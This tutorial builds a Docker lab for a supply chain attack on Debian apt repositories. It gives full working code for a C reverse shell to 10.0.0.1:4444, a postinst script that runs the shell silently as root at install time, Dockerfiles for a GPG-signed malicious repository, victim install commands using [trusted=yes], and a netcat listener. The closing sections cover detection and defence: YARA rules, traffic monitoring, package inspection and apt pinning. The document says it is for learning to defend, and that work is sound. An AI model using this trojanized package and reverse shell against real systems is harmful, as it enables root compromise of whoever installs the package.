Software supply chain attacks targeting package repositories are one of the most effective vectors for compromising infrastructure at scale. A single trojanized package installed via apt-get runs with full user privileges and can execute arbitrary code — reverse shells, cryptominers, credential stealers — before the admin even knows something is wrong.
This tutorial builds a complete supply chain attack lab using Docker:
Everything runs in containers — no VMs, no host pollution. This is an educational lab for understanding how these attacks work so you can defend against them.
When you run apt-get install <package>, the following happens:
apt fetches the Release file from the repo and verifies its GPG signatureapt downloads the package .deb file from the repo's pooldpkg unpacks the package and runs maintainer scripts (preinst, postinst, prerm, postrm)The attack surface is in step 3 — maintainer scripts execute as root during installation. A postinst script can run anything: download a second-stage payload, establish persistence, exfiltrate data. The package binary itself can also be the payload.
Real-world examples:
ua-parser-js npm package was compromised to install cryptominers on Linux and credential stealers on Windowsxz-utils backdoor (CVE-2024-3094) injected code into the build process targeting sshd authenticationCreate a working directory for the lab:
mkdir -p ~/deb-supply-chain-lab && cd ~/deb-supply-chain-lab
The payload is a minimal C program that opens a TCP connection back to the attacker and redirects stdin, stdout, and stderr to the socket, giving the attacker an interactive shell.
Create hello.c:
/* Reverse shell payload for supply chain demo
* Credits: http://blog.techorganic.com/2015/01/04/pegasus-hacking-challenge/
*
* IMPORTANT: Replace REMOTE_ADDR and REMOTE_PORT with your listener IP/port
*/
#include <stdio.h>
#include <unistd.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#define REMOTE_ADDR "10.0.0.1"
#define REMOTE_PORT 4444
int main(int argc, char *argv[])
{
struct sockaddr_in sa;
int s;
sa.sin_family = AF_INET;
sa.sin_addr.s_addr = inet_addr(REMOTE_ADDR);
sa.sin_port = htons(REMOTE_PORT);
s = socket(AF_INET, SOCK_STREAM, 0);
connect(s, (struct sockaddr *)&sa, sizeof(sa));
dup2(s, 0);
dup2(s, 1);
dup2(s, 2);
execve("/bin/sh", 0, 0);
return 0;
}
What makes this dangerous:
hello — innocuous, blends in with legitimate packagesconnect() + dup2() + execve() pattern is a classic reverse shell that most basic AV won't flag in a compiled binarypostinst script (added in the next step) executes the binary automatically at install time — the victim never has to run it manuallyReplace 10.0.0.1 with your attacker machine's IP and 4444 with your listener port.
The Dockerfile compiles the C payload, creates the Debian package directory structure, and builds the .deb file.
Create Dockerfile-builder:
FROM debian:latest
# Install build and packaging tools
RUN apt-get update && apt-get install -y \
build-essential \
dpkg-dev \
fakeroot \
&& rm -rf /var/lib/apt/lists/*
WORKDIR /build
# Copy the C source file into the container
COPY hello.c /build/
# Compile the payload
RUN gcc -o hello hello.c
# Create Debian package directory structure
RUN mkdir -p /build/package1/DEBIAN \
/build/package1/usr/local/bin
# Package metadata (control file)
RUN printf 'Package: hello-world\n\
Version: 1.0\n\
Section: base\n\
Priority: optional\n\
Architecture: amd64\n\
Maintainer: Trusted Maintainer <admin@domaina.com>\n\
Description: A simple hello world utility\n' \
> /build/package1/DEBIAN/control
# postinst script — this is the trigger
# Runs automatically when the package is installed via apt/dpkg
RUN printf '#!/bin/sh\n/usr/local/bin/hello &\n' \
> /build/package1/DEBIAN/postinst && \
chmod 755 /build/package1/DEBIAN/postinst
# Place the compiled binary in the package
RUN mv hello /build/package1/usr/local/bin/
# Build the .deb when the container runs
CMD ["dpkg-deb", "--build", "/build/package1", "/output/hello-world_1.0_amd64.deb"]
package1/
├── DEBIAN/
│ ├── control # Package metadata (name, version, description)
│ └── postinst # Script executed AFTER installation (the attack vector)
└── usr/
└── local/
└── bin/
└── hello # The compiled reverse shell binary
control — This is what apt shows when you inspect the package. A convincing description helps the package blend in.
postinst — This script runs as root immediately after dpkg unpacks the package. The & backgrounds the reverse shell so the installation appears to complete normally. The victim sees no error, no hang — just a clean install.
# Build the builder image
docker build -t hello-world-builder:0.1 -f Dockerfile-builder .
# Generate the .deb file (output to host /tmp)
mkdir -p output
docker run --rm -v "$(pwd)/output:/output" hello-world-builder:0.1
Verify the package was created:
ls -la output/hello-world_1.0_amd64.deb
Before setting up the repo, verify the package installs correctly:
docker run --rm -v "$(pwd)/output:/output" debian:latest \
/bin/sh -c 'dpkg -i /output/hello-world_1.0_amd64.deb && \
dpkg -l | grep hello-world'
You should see hello-world listed as installed. The reverse shell will fail to connect (no listener), but the package installs cleanly.
Legitimate apt repositories sign their packages with GPG keys. Without a valid signature, apt will warn or refuse to install. We create our own key pair to make our malicious repo look legitimate.
# Generate a GPG key pair (non-interactive for lab use)
cat > gpg-batch.conf << 'EOF'
%no-protection
Key-Type: RSA
Key-Length: 2048
Subkey-Type: RSA
Subkey-Length: 2048
Name-Real: Trusted Repository
Name-Email: repo@domaina.com
Expire-Date: 0
%commit
EOF
gpg --batch --gen-key gpg-batch.conf
Export the keys:
# Get the key ID
KEY_ID=$(gpg --list-secret-keys --keyid-format LONG 2>/dev/null \
| grep -A1 "sec" | tail -1 | awk '{print $1}')
echo "Key ID: $KEY_ID"
# Export public key (distributed to clients)
gpg --export -a "$KEY_ID" > public.key
# Export private key (used by reprepro to sign packages)
gpg --export-secret-key -a "$KEY_ID" > private.key
In a real attack, the attacker either:
- Compromises the legitimate maintainer's GPG key
- Sets up a lookalike repository with their own key and tricks victims into adding it
- Targets repos that use [trusted=yes] (skips signature verification entirely)
reprepro manages the repository structure that apt expects. Create the distributions configuration:
# Get the short key ID for SignWith
SHORT_KEY=$(gpg --list-secret-keys --keyid-format SHORT 2>/dev/null \
| grep "sec" | head -1 | awk -F'/' '{print $2}' | awk '{print $1}')
cat > distributions << EOF
Origin: TrustedSource
Label: TrustedRepo
Codename: stable
Architectures: i386 amd64 source
Components: main
Description: Trusted software repository
SignWith: ${SHORT_KEY}
EOF
This tells reprepro:
- Repository codename is stable (matches what clients add to sources.list)
- Accepts amd64 and i386 packages
- Signs the Release file with our GPG key
This Dockerfile creates an nginx-based apt repository server that hosts the trojanized package with proper GPG signing.
Create Dockerfile-repo:
FROM debian:bookworm-slim
# Install nginx and reprepro
RUN apt-get update && \
apt-get install -y nginx reprepro gnupg && \
rm -rf /var/lib/apt/lists/*
# Set up reprepro directory structure
RUN mkdir -p /var/www/html/debian/conf \
/var/www/html/debian/db \
/var/www/html/debian/dists \
/var/www/html/debian/pool
# Copy reprepro config
COPY distributions /var/www/html/debian/conf/
# Copy GPG public key (clients will download this)
COPY public.key /var/www/html/public.key
# Copy the trojanized .deb package
COPY output/hello-world_1.0_amd64.deb /var/www/html/debian/pool/
# Import GPG private key for signing
COPY private.key /tmp/private.key
RUN gpg --batch --import /tmp/private.key && rm /tmp/private.key
# Configure nginx to serve the repo with directory listing
RUN printf 'server {\n\
listen 80;\n\
server_name localhost;\n\
location / {\n\
root /var/www/html;\n\
autoindex on;\n\
}\n\
}\n' > /etc/nginx/sites-available/default
# Initialize the repository (signs the package with our GPG key)
RUN reprepro -b /var/www/html/debian includedeb stable \
/var/www/html/debian/pool/hello-world_1.0_amd64.deb
# Expose port 80
EXPOSE 80
# Start nginx in the foreground
CMD ["nginx", "-g", "daemon off;"]
# Build the repo image
docker build -t apt-repo:0.1 -f Dockerfile-repo .
# Start the repository server
docker run --name apt-repo -d -p 8080:80 apt-repo:0.1
Verify the repo is serving:
# Check the repo root
curl -s http://localhost:8080/ | head -20
# Check the GPG public key is available
curl -s http://localhost:8080/public.key | head -5
# Check the package pool
curl -s http://localhost:8080/debian/dists/stable/main/binary-amd64/Packages
You should see the hello-world package listed with its metadata.
This is where the attack completes. A victim machine adds our repository, trusts our GPG key, and installs the trojanized package.
On your attacker machine, start a netcat listener before the client installs the package:
nc -lvnp 4444
docker run --rm --link apt-repo:apt-repo debian:latest /bin/bash -c '
# Install curl to fetch the GPG key
apt-get update -qq && apt-get install -y -qq curl > /dev/null 2>&1
# Download and trust the repos GPG key
curl -fsSL http://apt-repo:80/public.key | apt-key add -
# Add the malicious repo to sources.list
echo "deb [trusted=yes] http://apt-repo/debian/ stable main" \
>> /etc/apt/sources.list
# Update package lists from all repos (including ours)
apt-get update -qq
# Install the trojanized package
# postinst fires the reverse shell automatically
apt-get install -y hello-world
'
What happens during installation:
apt-get update fetches our repo's Release and Packages filesapt-get install hello-world downloads the .deb from our nginx serverdpkg unpacks the package to /usr/local/bin/hellodpkg runs postinst which executes /usr/local/bin/hello &Check your netcat listener — you should have an active reverse shell.
For a repeatable setup, use Docker Compose to orchestrate all components.
Create docker-compose.yml:
services:
# Apt repository server
apt-repo:
build:
context: .
dockerfile: Dockerfile-repo
container_name: apt-repo
ports:
- "8080:80"
networks:
- supply-chain-lab
# Victim client (runs once, installs the package)
victim:
image: debian:latest
depends_on:
- apt-repo
networks:
- supply-chain-lab
command: >
/bin/bash -c '
sleep 2 &&
apt-get update -qq &&
apt-get install -y -qq curl > /dev/null 2>&1 &&
curl -fsSL http://apt-repo:80/public.key | apt-key add - &&
echo "deb [trusted=yes] http://apt-repo/debian/ stable main"
>> /etc/apt/sources.list &&
apt-get update -qq &&
apt-get install -y hello-world
'
networks:
supply-chain-lab:
driver: bridge
Run the full lab:
# Start your listener first
nc -lvnp 4444 &
# Launch the lab
docker compose up --build
Clean up:
docker compose down --remove-orphans
docker rmi apt-repo:0.1 hello-world-builder:0.1
Create detect_revshell.yar:
rule ReverseShell_Socket_Dup2_Execve
{
meta:
description = "Detects reverse shell pattern: socket + dup2 + execve"
author = "Supply Chain Lab"
severity = "critical"
strings:
$socket = "socket" ascii
$connect = "connect" ascii
$dup2 = "dup2" ascii
$execve = "execve" ascii
$bin_sh = "/bin/sh" ascii
condition:
uint32(0) == 0x464C457F and // ELF magic bytes
all of them
}
rule Suspicious_Postinst
{
meta:
description = "Detects postinst scripts that execute binaries from /usr/local/bin"
severity = "high"
strings:
$shebang = "#!/bin/sh" ascii
$usr_local = "/usr/local/bin/" ascii
$background = "&" ascii
condition:
$shebang at 0 and $usr_local and $background
}
Scan the package:
# Install YARA
sudo apt-get install -y yara
# Extract and scan the .deb
mkdir -p /tmp/deb-scan
dpkg-deb -x output/hello-world_1.0_amd64.deb /tmp/deb-scan/
dpkg-deb -e output/hello-world_1.0_amd64.deb /tmp/deb-scan/DEBIAN/
# Scan all extracted files
yara detect_revshell.yar /tmp/deb-scan/ -r
Expected output:
ReverseShell_Socket_Dup2_Execve /tmp/deb-scan/usr/local/bin/hello
Suspicious_Postinst /tmp/deb-scan/DEBIAN/postinst
If you have tcpdump or Falco running on the host:
# Capture outbound connections from the container
tcpdump -i docker0 -n 'tcp[tcpflags] & tcp-syn != 0' \
and not src net 172.17.0.0/16
# With Falco (if deployed)
# Rule: "Unexpected outbound connection from container"
# Triggers on: connect() to external IP from a container process
Always inspect packages before installing from untrusted repos:
# View package metadata
dpkg-deb -I output/hello-world_1.0_amd64.deb
# List files in the package
dpkg-deb -c output/hello-world_1.0_amd64.deb
# Extract and read maintainer scripts
dpkg-deb -e output/hello-world_1.0_amd64.deb /tmp/inspect/
cat /tmp/inspect/postinst
# Check binary with strings
strings /tmp/deb-scan/usr/local/bin/hello | grep -E '(socket|connect|exec|/bin)'
The strings output will reveal the hardcoded IP address and the /bin/sh reference — obvious indicators of a reverse shell.
[trusted=yes]The [trusted=yes] flag in sources.list disables GPG signature verification entirely. Any repo added this way can serve arbitrary packages without cryptographic proof of authenticity.
# DANGEROUS — never do this in production
echo "deb [trusted=yes] http://sketchy-repo/debian/ stable main" \
>> /etc/apt/sources.list
# CORRECT — verify the GPG key fingerprint out-of-band
curl -fsSL https://repo.example.com/pubkey.gpg \
| gpg --dearmor -o /usr/share/keyrings/example.gpg
echo "deb [signed-by=/usr/share/keyrings/example.gpg] https://repo.example.com/debian/ stable main" \
>> /etc/apt/sources.list
Use apt preferences to prevent untrusted repos from overriding packages from official sources:
cat > /etc/apt/preferences.d/official-only << 'EOF'
Package: *
Pin: origin "deb.debian.org"
Pin-Priority: 900
Package: *
Pin: origin "*"
Pin-Priority: 100
EOF
Before installing any package from a third-party repo, extract and review the maintainer scripts:
apt download <package-name>
dpkg-deb -e <package>.deb /tmp/audit/
cat /tmp/audit/postinst
cat /tmp/audit/preinst
# Check all installed packages for modified files
sudo debsums -c
# Monitor for unexpected executions from /usr/local/bin
# Falco rule: detect execve from postinst context
When building container images with apt-get install:
--no-install-recommends to minimize attack surface# Stop and remove all lab containers
docker compose down --remove-orphans 2>/dev/null
docker stop apt-repo 2>/dev/null
docker rm apt-repo 2>/dev/null
# Remove images
docker rmi apt-repo:0.1 hello-world-builder:0.1 2>/dev/null
# Remove generated files
rm -rf output/ /tmp/deb-scan/ /tmp/inspect/
# Remove GPG keys (optional)
gpg --delete-secret-and-public-key "$(gpg --list-keys --keyid-format LONG \
| grep -A1 pub | tail -1 | awk '{print $1}')" 2>/dev/null
.deb packages before publishing to your internal repo[trusted=yes]